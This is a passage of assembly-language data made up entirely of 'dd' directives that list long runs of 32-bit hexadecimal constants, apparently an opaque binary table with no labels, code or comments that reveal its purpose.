dd 0E73816F1h, 9464726Ah, 0AA53511Fh, 0AFF4F0D3h, 0FBE07571h
dd 9FB0BF30h, 78F88856h, 0A24EB1DDh, 0D3D14271h, 5A0CFB1Bh
dd 660B8A34h, 18BE0ED6h, 62DCCDF6h, 1709E75Eh, 55BA792Fh
dd 3169B447h, 0C4E53ED7h, 5328495Ch, 2A0130FFh, 39751AA3h
dd 794E7CB4h, 0E0376DB8h, 11E21AD0h, 6BEDED98h, 0E0D1011Ch
dd 87A796Fh, 6997DFC9h, 5D68EF93h, 760D0843h, 0F4855F60h
dd 6983716Bh, 0B8F2DEA8h
dd 0B2375E1Bh, 9BB4E93Bh, 0D011AB5h, 0C6BC7C0h, 5E91738Dh
dd 3DF43966h, 0B1841D3Fh, 0AC080181h, 6E6A8DC5h, 6EAFF0F0h
dd 6DFCE5B2h, 91F79131h, 9F8B7583h, 6765C144h, 0E802CF8Dh
dd 40726719h, 0B86AA20Eh, 91C16B16h, 0CC840590h, 0A476FEE6h
dd 0A4E5AE58h, 9D20AD3Fh, 0D12C5710h, 802DEE67h, 5A669F49h
dd 0E5FDCA5Ch, 0F6F014BCh, 2319DF48h, 51E47B03h, 392E56CEh
dd 7C7EB7B5h, 8B27E6A5h, 0A875782Dh, 0F2A3F5D5h, 0C6CADB4Fh
dd 2049F64Dh, 2F5E029h, 7545C413h, 0FC4D1922h, 8E9A962Ch
dd 0D23DC4D5h, 0F4C2BCBFh, 372D0F61h, 0F07023CBh, 0EE79B50Fh
dd 888A81B9h, 94723F31h, 7751F6CFh, 60B4AFE8h, 23307B7Ch
dd 0F8043E7Dh, 0BCED7A0Ah, 41E3A77Ah, 0D6B6CEFAh, 0F41D7DBEh
dd 0BD60B2D9h, 7D361CC1h, 0A5065AE2h, 7E159F9Bh, 3E706C7Dh
dd 7688FB6Dh, 0A9F0270Ah, 2FF7EC72h, 0AF7BD199h, 57C72F1Ch
dd 9D4993EDh, 4C9B7FD5h, 2A1EE168h, 0BB467A78h, 0F56E7B3h
dd 0CA80951Ah, 8413D4B7h, 0C540F84Fh, 39E275A7h, 4693B5C5h
dd 0D3F14230h, 0D22CDEC0h, 0E4A6BE4Ch, 24FCE2F5h, 14566069h
dd 82DFB76Ah, 0A9C88A81h, 0F9D763A7h, 9B448D13h, 0CE4262DCh
dd 0B4EE6A33h, 1982389Bh, 2F7E8648h, 0AC6B078Eh, 0C771E9AEh
dd 4BBBA9E5h, 794F9021h, 4EE769E2h, 95899C1Ch, 754308A1h
dd 6417502Dh, 9AF6019Ah, 0A62AF67Ah, 436AFD07h, 0A17E29AAh
dd 5BF437A5h, 3C9E50C7h, 69EB50A6h, 0E08551A8h, 2CAFCD51h
dd 775B7F29h, 3BB12144h, 5F63F48Ch, 80D3CD55h, 0D06886E5h
dd 27BCC9B2h, 7F9D89EEh, 966F174Dh, 587C708h, 779D37E7h
dd 0E9EECF82h, 958E959Eh, 1AAE6B9Ah, 811800B3h, 0E334408h
dd 1EF4B125h, 9C7146DAh, 455A92D2h, 0F73CCDB5h, 86708BFCh
dd 62391C61h, 7664D487h, 70B535FFh, 0E7D32DA7h, 0D767C2CAh
dd 31CA4A5Bh, 491C769Bh, 3E47B2A5h, 20782C03h, 83A721F7h
dd 8D94C67Bh, 8307234Bh, 0BAC53674h, 0BE188B4Dh, 6D25D428h
dd 433E0CA1h, 1B2264EBh, 5DC98D34h, 0EB803B74h, 89337B7h
dd 0C27CE0ADh, 3C997750h, 0DAE7F21Fh, 22F82777h, 9F016D3h
dd 0F82DA818h, 252F33CEh, 224AAA72h, 9573C7FDh, 0A2CB5BE5h
dd 31F78747h, 0EDF04ED0h, 8F4EDDC9h, 9E50F81Eh, 95CFB0E4h
dd 35254A4Bh, 92531B2h, 0E68DD6DDh, 5C32C91Ch, 4167F10Eh
dd 0F5DF0E6Fh, 863E2AD0h, 0D255EABAh, 8E8EDF1Ah, 0C141006Ch
dd 4355FBC3h, 8F8E5554h, 91439935h, 0FAF59D9Fh, 0CB4F3DAEh
dd 9FF6ADE9h, 6796C4ACh, 0ECBC065Ah, 54DF466Bh, 30BEC2B5h
dd 267828A9h, 0E8F78681h, 1B7582Bh, 0E6F72C48h, 363DD2B3h
dd 12D42F73h, 65B7A7E8h, 78830EB1h, 46EE8A85h, 97B96E8Fh
dd 8873E369h, 5919257Eh, 23594C1Ah, 99BE4BCCh, 0E43C0DDEh
dd 11AA0B61h, 92E5574Eh, 4582487Dh, 0A041E259h, 0BD7A4D66h
dd 53CE8344h, 0C01C1213h, 3214A05Bh, 0AD3D219Fh, 0BC001546h
dd 29F5A561h, 9EC51B9Eh, 479C7B2Eh, 0AFBD7ED4h, 66268103h
dd 6CA50464h, 0F530A4C9h, 0B1AB9DDh, 0FDAB93CBh, 29BDA100h
dd 0DF8E5071h, 4A216808h, 0BE8F1425h, 0B9E3AE8Ah, 3BB84C4Fh
dd 3938333Ah, 0D23693CAh, 42A07EF3h, 0D96F83DBh, 0E3B6F246h
dd 72BCACB4h, 7AB30141h, 7FEC8F5Bh, 0F619FEC6h, 70C8EF31h
dd 36C7C3A3h, 4D8455D9h, 0E816BC80h, 8966D64h, 68C90CB3h
dd 604FC712h, 6F0ED29Fh, 56C97DFFh, 788832FFh, 0C74DFB11h
dd 0BAFFC742h, 72A4314Eh, 0CCFEE18Ah, 806AB836h, 72B0C267h
dd 2EEE7605h, 14B7EB6Ah, 0C73075A7h, 587FB02h, 8C53718Eh
dd 92E80C3h, 0F0F25A2Ch, 0FD765655h, 256D9E87h, 3E60824Ch
dd 0D63DC0F2h, 8D6A1FF1h, 3211236Ah, 30B2D8B3h, 3CD72C7h
dd 62A5BE41h, 0F6A18D22h, 9064028Ah, 72E329A2h, 2A3B1B00h
dd 83721B1Dh, 2DB64C33h, 0E891586Eh, 0CD01766Ch, 8D354632h
dd 5B6365EFh, 8D420B5Bh, 4DB67A5Ch, 0C6D8BD07h, 0C0E9B2DEh
dd 757F8BF4h, 19B533Eh, 0B2DDD78Ah, 0AD7B0A9Dh, 0F2BCEDAAh
dd 0A5992A35h, 6EAE74D0h, 9CA0165Dh, 5C18C0h, 0B42609A7h
dd 0B65C430Ah, 1F92D5B7h, 99F4191Ch, 9AF0CEB5h, 0DC9844Bh
dd 8AA4DE76h, 0AD2941EFh, 51399675h, 7312FF42h, 51438066h
dd 55F584ECh, 44F633D3h, 0D4391BFCh, 0BAEC6A3Ah, 0FD96591Bh
dd 0B41A79A5h, 5A97E177h, 0CAFD7BEAh, 1E77374Ch, 4BC8B3D5h
dd 2D663A11h, 0E8FC470Dh, 0E852C361h, 9BBC75A6h, 735FC7A8h
dd 538BB55Ah, 0D7D2988h, 0BD3AD65Ah, 22C1D59Dh, 0F9FB2E22h
dd 6E9214EBh, 7834BF73h, 328B94D3h, 3AF4FA97h, 0CA0E9BAFh
dd 0B8AC4FEDh, 0A72B5DADh, 9BD3C42Eh, 61316897h, 0A7561EE5h
dd 91173369h, 0AF3A4774h, 8B265CDCh, 0D3AE8EB3h, 0DF6836D8h
dd 61F3AF3Ch, 42EE2AC5h, 9D8B4CA5h, 0F0E63BB2h, 9CC1E0A6h
dd 4B247167h, 40497488h, 0CDB69F30h, 0A0577184h, 0AAA924A0h
dd 77BDD6Eh, 6320A59Bh, 23EEB680h, 6510D422h, 6382F6C2h
dd 8635FFh, 4B816B0h, 4E24D330h, 0A6D74BDDh, 0B4C78EB3h
dd 0E35736CCh, 7E47D39Ch, 55177804h, 5840066h, 0EA0C6EA6h
dd 86164AD6h, 74A258DDh, 6F5A6C48h, 4A401CD3h, 0EEB84A2Ah
dd 0B4C2B967h, 25F5E806h, 0FD30B6E3h, 408EE1E8h, 8FA8AF43h
dd 0EF385E7h, 0AF5F5CBh, 552627C6h, 0CE5B5620h, 46D584AEh
dd 4B5B96A5h, 13497D8h, 0C52B20B4h, 9374DA4Ah, 0A5E40D58h
dd 43B8122Ah, 7CFB962Fh, 5DEF77B6h, 0EC9A0F8h, 59DAFB69h
dd 6C2C6003h, 8D60F275h, 270A0D45h, 0AE74C1B7h, 789D3AB3h
dd 1207B7D4h, 89EA7ACh, 71482533h, 2D6E21A0h, 4F9408A5h
dd 3D15C78Eh, 0BF1D2F3Bh, 0E4054C59h, 932C04D9h, 0AF342034h
dd 0C6760E64h, 78CD32CCh, 0F8D3F92Ah, 0E3AAE415h, 0A1AB66D1h
dd 7F8E7B18h, 1C5DCE27h, 53281350h, 1B6CED8Eh, 328D8D66h
dd 339F0714h, 4F7B241Bh, 7D0DE152h, 3CAF662Ah, 2C4DBB8Fh
dd 4B7A90CBh, 2CFB8CE3h, 7BE0FEC2h, 76242785h, 6C558695h
dd 1F96925Bh, 503B333Ch, 295D5DF5h, 0A8AE59F6h, 2D8AEA71h
dd 0BBCAC4CBh, 79EBFE5Ch, 854C2C62h, 47A6498Ch, 3762D421h
dd 7F190511h, 9D880E23h, 6BC5C88Ah, 0FDFF740h, 64529F50h
dd 65B802E3h, 88ED9F1Eh, 50C6E913h, 0BFF34A40h, 5C63FB1Fh
dd 9B5C4A7Bh, 9FB6A77Dh, 26F021B4h, 0E0814D5Bh, 3FEA38E9h
dd 5A784BB7h, 0C43048F5h, 7D390C3Fh, 0B8EB90ACh, 35DF0D6Eh
dd 0BD50CE44h, 81AEB8C3h, 0BDBAFEB3h, 0B6B7C3B6h, 31133A39h
dd 55DC3013h, 0D08C5725h, 6874E2E1h, 2120E4A0h, 27611325h
dd 0B2D452ABh, 0B3DFCE71h, 0B6631441h, 55E0D136h, 6E3B74Eh
dd 0E7AEB4F5h, 0C4C8BECAh, 6FB0315Dh, 9F256602h, 15230C3Fh
dd 0A38DF349h, 47783A74h, 0F652D00Fh, 0EAA8E94Dh, 86F855A9h
dd 68ACF136h, 892070F6h, 0F2D6AA51h, 0BDD6E915h, 1E38D557h
dd 3C3032F8h, 0A06A6011h, 0E259B3B0h, 35ECEDCCh, 9C791E40h
dd 61FF65D8h, 0F4D56537h, 3F606EAEh, 4FDAB854h, 7B35004Ch
dd 19564BDDh, 5085D640h, 0CD4D7652h, 0C5AD4AAAh, 0F1F96D07h
dd 177BC42Ah, 8E9213F2h, 8C216A24h, 81D3456h, 9B969999h
dd 0E6F3563Ch, 0D449FF3h, 47330D04h, 0C0D6DFD1h, 0D292020Dh
dd 0E018ED60h, 6518AEB4h, 2A030543h, 567816B4h, 22C432B1h
dd 72F2433Ch, 8A7940A2h, 70FD2844h, 633F1ECBh, 720EAC96h
dd 0B96CCB09h, 0F8C3EBF0h
dd 43830506h, 0B0E55548h, 0F84037D9h, 152CD186h, 0D15C4797h
dd 3F7842ABh, 0DAAB173Dh, 622F2CE1h, 96077832h, 83ED4D94h
dd 106BC9A9h, 0EDB4753Fh, 0D0F20D84h, 5052AD99h, 0E7790158h
dd 0D970FB08h, 4D4C2F80h, 9A506FE9h, 0A13F8D84h, 50CAF00Ch
dd 530C0B2h, 0E0200EE9h, 9B56C6EEh, 0DC5FF41Ch, 8000BEA7h
dd 356E5E0Eh, 0F9BAC710h, 7FD4B7BFh, 760A919Eh, 8A36684Dh
dd 1C2E7E04h, 0F8F80B2h, 0C6164247h, 1032CD30h, 1FB305CBh
dd 5B84A5DCh, 45841892h, 0E863A73Ch, 5C5E5FA6h, 0F0614511h
dd 8F87529Eh, 0A1D00162h, 0DD1839F0h, 308AB1FFh, 0EA567F33h
dd 0ED09120Fh, 0B54E971Fh, 7F5E7009h, 9C98EE79h, 0F49D8E0Ah
dd 0F86F3234h, 5A02DC3h, 0BB18D6F0h, 9A284BF7h, 0A99A892h
dd 0DB651843h, 968B6B96h, 0DFD3699Bh, 3EC39E0Dh, 0CE4C6C90h
dd 1C02932Ah, 0D935E71Bh, 84B56A8Fh, 78F320A1h, 1BA6C119h
dd 1964ED57h, 0D772872Eh, 0F69D6029h, 0B2710862h, 148A288Fh
dd 0B016985Dh, 44B27220h, 0C93046E2h, 7D672C08h, 0BF68A7BCh
dd 0B47BE1BEh, 0A8257D61h, 0FC6488BFh, 0CAB5EA62h, 0C956DA0Eh
dd 75AFBA15h, 42AEAE3Bh, 889CCED2h, 0BC1B945Ah, 0EB4CAA14h
dd 0B14CF212h, 0EC563776h, 0A000B755h, 48AE968Fh, 0D8AEAD92h
dd 5C5DC0EFh, 7234D523h, 0B127AAC4h, 9BD1A014h, 26B9F80Dh
dd 3013F34Fh, 0B30B0CA9h, 0B6429C11h, 3F9FD23h, 0C7B1B681h
dd 0D3BFA37Ch, 0E0AD8B91h, 11D580ACh, 5DC1E557h, 99257A44h
dd 48BC76F5h, 0D085E299h, 694B327Fh, 386029Eh, 1EE50B8Eh
dd 4EAE7E03h, 0D089766Ah, 2E902121h, 11FA229Dh, 0E99AC533h
dd 0DD533h, 7BA90A5Eh, 50E53BEAh, 0C876E743h, 1ABB36DBh
dd 1F28D82Ch, 8508F0B3h, 0B14F9B70h, 0D29AE997h, 828697B9h
dd 0F5C3E79Ch, 1E87390Eh, 6AE5419Ch, 2180F72Fh, 0C26774CAh
dd 0CE9F8074h, 0D3F3E4C2h, 0EA56E52Ah, 5C944169h, 0B7B499F4h
dd 927703ACh, 9CC0EF4h, 0C1B17284h, 0B19C93B3h, 49655E1Eh
dd 0B8C03D18h, 1792AE48h, 0ED054721h, 0CD0CDB02h, 0D6265AFAh
dd 0A2886A53h, 5E8565C5h, 1E9A9DCCh, 5C23B1E8h, 0E153E9ADh
dd 27A44ED3h, 0E7D366F1h, 0C21C0BE5h, 0E8565274h, 0FF6E6C42h
dd 0A5C7D224h, 964032F4h, 27EC4D8Fh, 0D2533876h, 0A5D80074h
dd 40E52AA7h, 36C61E22h, 3C96BCAAh, 0B2B5853Ah, 6E5F0267h
dd 7559AD0h, 0D682C884h, 0F591D8EFh, 716EF516h, 0E521FD7Fh
dd 0EA1F8523h, 3A5DB7E2h, 0E2B82884h, 785CF278h, 0FFCEE1F0h
dd 0EF35C01Fh, 0F2869FF1h, 8595C4FBh, 0E557571Bh, 0DA6C6C9Dh
dd 86143C6Bh, 1E245A77h, 214E606h, 0AE4D84C0h, 0F15656B8h
dd 15E6D964h, 2ECE5129h, 4A719520h, 88FB0ACDh, 0ABF901B3h
dd 0F503043Fh, 5A58A0E9h, 0BBD04266h, 19D51766h, 1E692ED0h
dd 0F0DAAD6Fh, 8BA83FD5h, 0FDED3875h, 83FD9AD3h, 4A687071h
dd 76809271h, 317B8BE1h, 5E438102h, 48345F0Eh, 473E4E5Ah
dd 1CB27A1Ah, 78EF02B4h, 854D2D57h, 6AB6F85Dh, 0AFF7CD7Dh
dd 59AC399Ah, 1E43E5D0h, 86762CD1h, 8F38A5C9h, 0CD9F96EDh
dd 0CD3266B4h, 0C645E8A1h, 91247ACFh, 3A19F129h, 0B7C45DB5h
dd 8933F7C1h, 990D251Dh, 861FCF78h, 9C621C8Dh, 4DCE2F44h
dd 0C5199D24h, 585C23B6h, 48DDC4F9h, 9BD5B8F2h, 0E4D2C3E1h
dd 98BBC205h, 98BACC7Eh, 0AB6915A3h, 3AD0CAB7h, 0F918FC76h
dd 67C3E4B8h, 0F55CFD37h, 0F8AA0924h, 8BE4FB5Ah, 299A81FFh
dd 637B3DF0h, 9FA22B09h, 0D642138Bh, 7EB6B12Fh, 0DB98025Eh
dd 0E7339B61h, 0F720AF58h, 0DDDE3Ch, 0AC1C2DECh, 0DC9940A2h
dd 130416ABh, 0BB4F8910h, 0EF43E397h, 0C0B34658h, 78C39E71h
dd 97EFB788h, 0B1340AF3h, 60AD3810h, 5C9F6E7h, 0A4C8DBECh
dd 60CB1477h, 4B369B66h, 0E5290328h, 0F90D5A2Eh, 0D50FBE11h
dd 0C1996A9Ch, 0DB3A5F9Fh, 75460D27h, 0B1FBD9F4h, 0EE06309Dh
dd 0E6425A77h, 614ABAF3h, 6D1ADEB0h, 2BC4416Fh, 499E407Ah
dd 0B5B21E77h, 0FCED367Dh, 2330FD2Fh, 0F9F30D4Eh, 5A65567Dh
dd 639FC279h, 9D072690h, 0EC88F8C5h, 0D7457254h, 0C0F62DD1h
dd 0DD8AD889h, 0A54351A7h, 7600807Ch, 806DFF43h, 0EEA807B8h
dd 0D4A8371Fh, 93AD2B53h, 4BFDA2E7h, 0AF5277EBh, 0C2F8B46Fh
dd 54D644D3h, 8FFB4923h, 2A6FF858h, 0D4C410F6h, 0DB0AB201h
dd 4E3B9E30h, 0CFF6BE1Dh, 0DB3A2A53h, 15771AA6h, 0DAA6ED66h
dd 3A8D5E01h, 0EEE16456h, 0A1E439FAh, 63D4DFB1h, 0F2985967h
dd 4E979823h, 76FE8D0Fh, 5A091E14h, 7FEBE6AAh, 0A555AD43h
dd 4077CE00h, 2EA0BA87h, 0C0717647h, 0F7B60490h, 0F3D8974h
dd 894A8CBh, 9E8C9A6h, 9BC5B6AFh, 19252231h, 0DF7BABB1h
dd 0ED10771Eh, 530D315Fh, 7211CE30h, 9519E98h, 7E0D1C46h
dd 5108FDDBh, 0A5A493F5h, 0EE4DF324h, 7FB29731h, 5FC8BAD3h
dd 733AA2Bh, 0FB089E1Bh, 0B1B8C09Bh, 0CB144EF9h, 0EF6E2295h
dd 0F7B348Bh, 1C80EACDh, 92A68BACh, 0EEC95094h, 46229534h
dd 0AA2DD5F6h, 0BBF59FD2h, 0BC12EEA1h, 7C79FAF2h, 30E65BC7h
dd 0D79FA7C1h, 684387D0h, 18CE0A1Ah, 0A068EFE7h, 0D2C9EC10h
dd 8D7EF4E8h, 0B39BBB36h, 99B1C68Dh, 4241202Fh, 2CAE3C42h
dd 94B5B15h, 0F65B6967h, 0E4E28A03h, 0D9109081h, 6C7CC76Ch
dd 0AAF5AFF3h, 0A915012Ah, 12D62B03h, 0A25F4C9Dh, 806F139Bh
dd 0D68ADC57h, 0C5C38CD4h, 9BFC6F46h, 93A592B2h, 0B2C001ABh
dd 0D5BDF73Bh, 0A523F9E6h, 94AAFABh, 0A7C6211Eh, 0A17B0414h
dd 0EE3560C0h, 183345A9h, 21AA2C63h, 0C12B5F44h, 8E6EFDC9h
dd 6AB15E06h, 0C5C25DACh, 727A850h, 59A836E1h, 0C24EE33Dh
dd 0A731BF8Ch, 6D616FFDh, 0A502457Dh, 17EF29E6h, 99EB3B2Bh
dd 0EA46704Ah, 1AA9527Dh, 5F2DD07Bh, 0CC60E461h, 85785F72h
dd 3BCF4BDFh, 4BCCE35Bh, 0A5093CA7h, 0C4D372Dh, 0F3690339h
dd 0E74994DFh, 0FE9A6874h, 0D7192017h, 6A71F84Fh, 0B7CCEE6Ah
dd 0FB4B9729h, 3A49CC55h, 96CC3342h, 0F8CE2AB2h, 3F526A1Dh
dd 2106D71Eh, 7C6FBF47h, 7A02F23Ah, 0EBCE0767h, 9B810337h
dd 0EEFE26E0h, 0F70E7627h, 0CD511716h, 0A6898534h, 0EE762479h
dd 0AEC68EBFh, 176273A0h, 4ABA9975h, 54190DF9h, 479E78ECh
dd 0DF66A1C4h, 0F62C3F38h, 0EE0B23FCh, 975F5448h, 81D55D2Ah
dd 39EBB1D1h, 0EECA65E3h, 26C489DBh, 29BB7B4Fh, 94FD2599h
dd 9DAE3F20h, 9C0BBC7Dh, 0B9F9FF46h, 5375BA38h, 1FDA4AB7h
dd 401D72B1h, 0DAA4DBB5h, 7CAE8732h, 1BF10A28h, 59DF66E2h
dd 8322510Ah, 0CFC3F62Ah, 2295DBE5h, 0D1409CAAh, 513AC979h
dd 4A085BBh, 1F7718C7h, 6DCCCEB0h, 28E4AEEDh, 92F90ADFh
dd 0ABC6411Fh, 95C73109h, 0B5E0A869h, 0E747D180h, 0C5339170h
dd 0D268D0C0h, 7DBB3804h, 87520D64h, 891E9DFh, 0D8927AF2h
dd 4C915014h, 85733502h, 0FADBB83Bh, 8C395DE0h, 60D0A0FCh
dd 0EF226AA8h, 2A0D8E4Bh, 93BA8570h, 7E89762Ah, 4D01EC1Eh
dd 0FE14D63Bh, 748044A5h, 0B6D826F1h, 8BAEA64Fh, 4E57676Eh
dd 0F41EAA7Dh, 59F4D7EBh, 160138EAh, 76BD11D8h, 45FD55B9h
dd 12F91FADh, 4E68FFF8h, 69C68A56h, 49EC42D1h, 0F6F009F5h
dd 4801F436h, 30C9BDCEh, 0C3590ADFh, 0E8712DBFh, 0AFCF609Dh
dd 4A37914Bh, 0A2949495h, 0FB4BBEDCh, 58E13B93h, 30D7307h
dd 37E20071h, 93770EE6h, 9FF08F5Fh, 0E3CF3F3Dh, 0E5BFA780h
dd 0D172B0Ch, 1A1D40DCh
dd 1395C956h, 36584B82h, 915792A4h, 3F4DA56Ah, 0F1A4E8A8h
dd 523E7187h, 0F41419AEh, 55AB3134h, 0ACC9E9AAh, 0B90088E6h
dd 4B1631C7h, 7DD8422Dh, 0FA6A0A7Bh, 29868FA9h, 5F8B1FD5h
dd 0ABF6799Ah, 5D3EC699h, 5751BF31h, 0CD50822Dh, 5625C236h
dd 40D57DD2h, 0FEA2D9Eh, 888609B5h, 6D515DD7h, 22CC4F9Bh
dd 0A4E43671h, 2CFD351h, 94A079EFh, 59822D25h, 0D951D4D1h
dd 80F8EC56h, 4D34DB02h, 0A2081CFAh, 0CDA21F8Eh, 75E51895h
dd 8C829411h, 48A310Dh, 5C391EA7h, 0DDE0365h, 0AC9D002Ah
dd 69361E7Ch, 0A5294DE9h, 0DDC38763h, 1CA43636h, 7ED2963Dh
dd 5B043DD2h, 45C02CC5h, 0FA6125DBh, 0A8DE0483h, 0CCD0B097h
dd 0BA3E57F4h, 222DD584h, 0FFACCD14h, 0C438763Ah, 0EDEEE9D8h
dd 50236C56h, 0B64F3ECFh, 0F1D4283h, 1CE5558h, 9D8DC05Ah
dd 9CFC1046h, 105E5D04h, 6E4B2C2Ah, 5BE2865Dh, 0E094B033h
dd 1BDC0704h, 0FC79C3FBh, 0D6465326h, 3D5082ADh, 0EFC13659h
dd 0BE6DDCD6h, 1081CD0Eh, 2D98D640h, 4BF226E2h, 459E610Ch
dd 0CE5EF703h, 6D23EC8Fh, 8198463Ah, 10729C9Fh, 5686C22Fh
dd 6B094DCAh, 26ECD9BCh, 0CCD35B57h, 0F6330274h, 1B6CF83Eh
dd 7918E688h, 0D2C1C1D0h, 419B3FE4h, 5972E8A9h, 99ABBFDh
dd 0D49705ADh, 30197FC9h, 0DE9F9441h, 99DB5DE4h, 42DEEBF5h
dd 3CC9FEE6h, 0B9F68627h, 0FBB2B91Eh, 10F91105h, 989844B4h
dd 5B9AC955h, 0C6AFCFE3h, 6D7212BDh, 2796D5CDh, 0EDCC8580h
dd 32779DE6h, 61B99380h, 0F2FDD120h, 9310DFDDh, 50219FE7h
dd 0C1750F8h, 0D5A5FBAh, 5AF0D3ECh, 63253764h, 47F67F0Fh
dd 0F8687D5Bh, 0E0183FE8h, 0D7706B70h, 0AABB1F3Fh, 0D6CB2EDFh
dd 5F10EC5Ah, 2330FEBBh, 0CD23623Dh, 340D3563h, 6CCE5FBEh
dd 182B4A5h, 0AE379Fh, 20E70D5Eh, 7BE8F944h, 6FFA763Ch
dd 0FF2D3D69h, 0D52DD8B5h, 0F705FEEDh, 0A4FEEFABh, 0BAE54B97h
dd 2ED6A8BEh, 2C9BD697h, 3F801B9Fh, 0FE0952FEh, 0CD25A781h
dd 45D801A2h, 0D35F59A5h, 798BC4DAh, 0A597B8BFh, 0BC5D3FC7h
dd 0D7D2BB02h, 864C13D9h, 50C96AB0h, 458774D4h, 0EFEAE0CBh
dd 0A02311E8h, 0E562CDD6h, 52B2F931h, 60FD0B7Bh, 0B9F4B262h
dd 0BBF03688h, 0A0F6B205h, 0DA502FFAh, 2BFAFCE9h, 0C8BB7F96h
dd 32C9519Ah, 0E0DC2FFBh, 6D91F728h, 6167672Eh, 29424FBFh
dd 8C0719ABh, 9013127h, 4AD1DA76h, 906292A2h, 4CE42D96h
dd 0FF5E884Ah, 7191130Eh, 6F7C00B0h, 590FADD1h, 8A8BAC2h
dd 0AD9EFDEBh, 489182C3h, 0E69DC16Bh, 2D494C2Ah, 246C84BDh
dd 0C85EB537h, 1C665433h, 0AF344FC7h, 0CE19F57Eh, 0FEE814FCh
dd 0FAD981D7h, 0DB88A710h, 99CE59B0h, 0F5F25E63h, 0B3F40F0h
dd 0D2EB6BF3h, 7B6AC6B0h, 73E43C81h, 3FA9DA52h, 46431BB7h
dd 59FA0B6Fh, 0E3A4E3D6h, 204977D8h, 52AEC6FBh, 4104AB90h
dd 0A8D1C102h, 1BC014FCh, 0DAC3393Fh, 456F8F76h, 745DFCADh
dd 0D85533CFh, 0DD6AFE8Eh, 0E1B61A6Ah, 0B7DAC88h, 550BFF5Fh
dd 0C2DD469Ch, 0DB349B2h, 4A761456h, 0C4DF4E3Ch, 85C58AD2h
dd 7E4DA6E2h, 89F1901Bh, 4C464A6Bh, 3874EB0Bh, 9475853h
dd 0E275D899h, 0C96633F6h, 5EB2BB87h, 850177FFh, 0A67DBDA4h
dd 866B0399h, 90175E36h, 17C036FEh, 19783639h, 0D05FEBB0h
dd 1C729BE9h, 49B7E2CBh, 3F6666B4h, 86261263h, 0AF16D667h
dd 0F6D670E1h, 7763097Ah, 9012E8F7h, 0BC76E9A5h, 0A7D3A5AAh
dd 0A7528DD4h, 6E39CB36h, 43C06BE2h, 0F9EFBE6Fh, 9CFF3681h
dd 0B2306735h, 81BFA9FEh, 0D378E2E4h, 1E89D094h, 649512B0h
dd 3E8F9033h, 0B1CAAFD1h, 0DEF7F097h, 0F5D69735h, 34C5FB87h
dd 0B7454306h, 29C3ABA6h, 0D1BBFE34h, 0C79B0032h, 87CFDA9Ch
dd 0EEEF1266h, 862298C5h, 0A22DDBA9h, 0FEC0DDB0h, 9ACB527h
dd 1E0A7A26h, 6DBA3FAEh, 31279E3Ch, 624A6A3h, 0F38377FFh
dd 442884CBh, 83522350h, 99CAA2FFh, 416034EAh, 0C9A78C02h
dd 0AD613E6h, 3392ED0h, 0B3C0FEEAh, 161FA97Eh, 5D3077F1h
dd 0C292FF4Bh, 456CEEB4h, 0A5B960D3h, 70B8BD14h, 0BB902BD3h
dd 5D72F663h, 0E273068Ch, 0FC19BABh, 0C49F9137h, 713A4222h
dd 0EDF41B0Ch, 8C53A70Ah, 2F3FA5BEh, 91D75F58h, 6B5F4C31h
dd 0DC74D252h, 0D5024A90h, 39ED9C23h, 0B66EBCEFh, 0A9C69CA3h
dd 0BAB25EA8h, 6123E280h, 60E604FCh, 0B8552E06h, 0C6AD4388h
dd 0D574E22Eh, 69825F7Dh, 0A271AF18h, 0C79A6778h, 2455B7A2h
dd 0E6B4F722h, 8D63F132h, 0BE7FE72Ah, 0F956CB37h, 5B133EEAh
dd 0BB5811F5h, 0ACDD7F4Ch, 0B05D7526h, 0CFEBB3Eh, 2071836Eh
dd 0DAB1D650h, 0E6EA9779h, 51A17436h, 35161B2h, 0D4604760h
dd 58223B48h, 0CED12EA6h, 16570AD2h, 3411C7Ah, 715A6B9Bh
dd 0E2772C1Bh, 84167598h, 1627082h, 734B8AB7h, 3802CE1h
dd 0D1E42F66h, 76C77716h, 0ECA36348h, 40FEC62Ah, 0CAEB7683h
dd 60E0C6Bh, 83905DE3h, 753775Bh, 4C8E88Dh, 2EDE2007h
dd 621EF3A2h, 5C9C9316h, 802D9482h, 0C2D3E955h, 51486DD0h
dd 0BCDA60A4h, 4247B077h, 837A0FEBh, 0ECAA02E5h, 92AF6BAFh
dd 1EB83BEEh, 8E799E70h, 0FE106CD5h, 607CD57Bh, 0AC7045B5h
dd 7B687FEBh, 8149314Ah, 9D9D136Dh, 0E11B708h, 0A0E5EC59h
dd 52B93D24h, 30900744h, 75574616h, 64E51DD0h, 32121958h
dd 3A3E6054h, 60062AB0h, 30A1A02Bh, 0A071AB6Eh, 0D255D981h
dd 0E3CE59D8h, 77CEC5E8h, 0D9D3DF1Ah, 0DF84ADFDh, 3EB13751h
dd 7E11098h, 0DCFEE27Ah, 0BD893934h, 4AB46B7h, 342B2479h
dd 589830EDh, 5A461269h, 0CC3540FDh, 7C9982E4h, 0DFB8FC83h
dd 0AC448C45h, 325A7423h, 0D0DDAC60h, 2CE769BBh, 0A296F9C2h
dd 7E995099h, 0C60FBACDh, 0F0450C93h, 883CC255h, 0B24A5B26h
dd 7EF07E5Ch, 0EF72AC00h, 7394D1F8h, 0CDB1B92Bh, 409FE3E2h
dd 115FEE34h, 548E839Fh, 0FE48D26Eh, 0F3FCF33h, 4DBC2F2h
dd 3C7B92F7h, 0DF7BDC79h, 5C327822h, 2E117C59h, 0DECF6D0Fh
dd 7D3B845Eh, 0F9FB5745h, 0A7C3510h, 0EE1B2C8Dh, 0B27D7277h
dd 0BB641BD1h, 3DFC02C1h, 0C3D83D67h, 0FC925B24h, 9A8654CAh
dd 2891C2A4h, 0B7F90881h, 61F82E74h, 34FB663h, 862372A8h
dd 0B697DDE1h, 0A523A8FBh, 88AAD50Dh, 0E0C89A51h, 7361C976h
dd 7BF60AE4h, 72DD7747h, 0DAE6B8Ah, 35495586h, 50FA4E30h
dd 0E5E2A0A1h, 1AF26CC3h, 0F70703F8h, 2903EF7Fh, 5C2ECD9Ch
dd 0F1C5DABBh, 4AD7577Fh, 21F647E9h, 654D603h, 0D02E9301h
dd 0FA6DC880h, 853E9AE3h, 3B6CFCFCh, 861073D6h, 7BDE757Bh
dd 0B4750A5Fh, 0AD7B7A96h, 225089C5h, 3992CB9Ah, 3DD5BB24h
dd 0A3703F62h, 512F68C7h, 0B87FFE64h, 0EF9A9404h, 24C857E4h
dd 38C80Ch, 268F2E67h, 0CF4E3AC4h, 0C60831E9h, 7D3DDC72h
dd 15BBA5C7h, 57371FBCh, 8AFF09Ch, 6BD7F6FEh, 2680D400h
dd 8B9D9412h, 3483F4C3h, 5B579869h, 0A310F1D9h, 0ADF6EA2h
